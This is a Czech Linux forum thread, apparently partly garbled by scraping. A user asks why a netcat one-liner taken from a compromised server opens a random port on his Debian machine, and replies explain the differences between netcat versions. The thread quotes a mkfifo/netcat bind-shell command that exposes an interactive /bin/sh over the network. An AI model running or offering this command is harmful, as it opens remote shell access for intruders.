Portál AbcLinuxu, 4. května 2025 23:14
rm -f /tmp/f mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/fKdyž jsem však totéž nyní zkoušel na svém Debian Stable serveru, příkaz se chová tak, že netcat otevře náhodný vysoký port (místo portu 1234):
kmarhoul@debian:~$ netstat -nlpt Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:48705 0.0.0.0:* LISTEN 12546/nc tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:48886 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp6 0 0 :::443 :::* LISTEN - tcp6 0 0 :::43168 :::* LISTEN - tcp6 0 0 :::111 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:25 :::* LISTEN -A po vzdáleném připojení na tento port výše uvedené havaruje a shell nedostanu:
kmarhoul@debian:~$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f invalid connection to [85.255.X.X] from (UNKNOWN) [95.82.X.X] 27619Zkoušel jsem to ještě na jiném serveru (také Debian Jessie) a stejné chování, přitom na kompromitovaném serveru to prošlo. Nevíte prosím někdo, čím to může být?
telnet IP.AD.RE.SA 1234
netcat host port
~$ netcat -h
OpenBSD netcat (Debian patchlevel 1.89-4ubuntu1)
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
netcat -l 1234
", ale u některých jiných verzí "netcat -l -p 1234
".
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.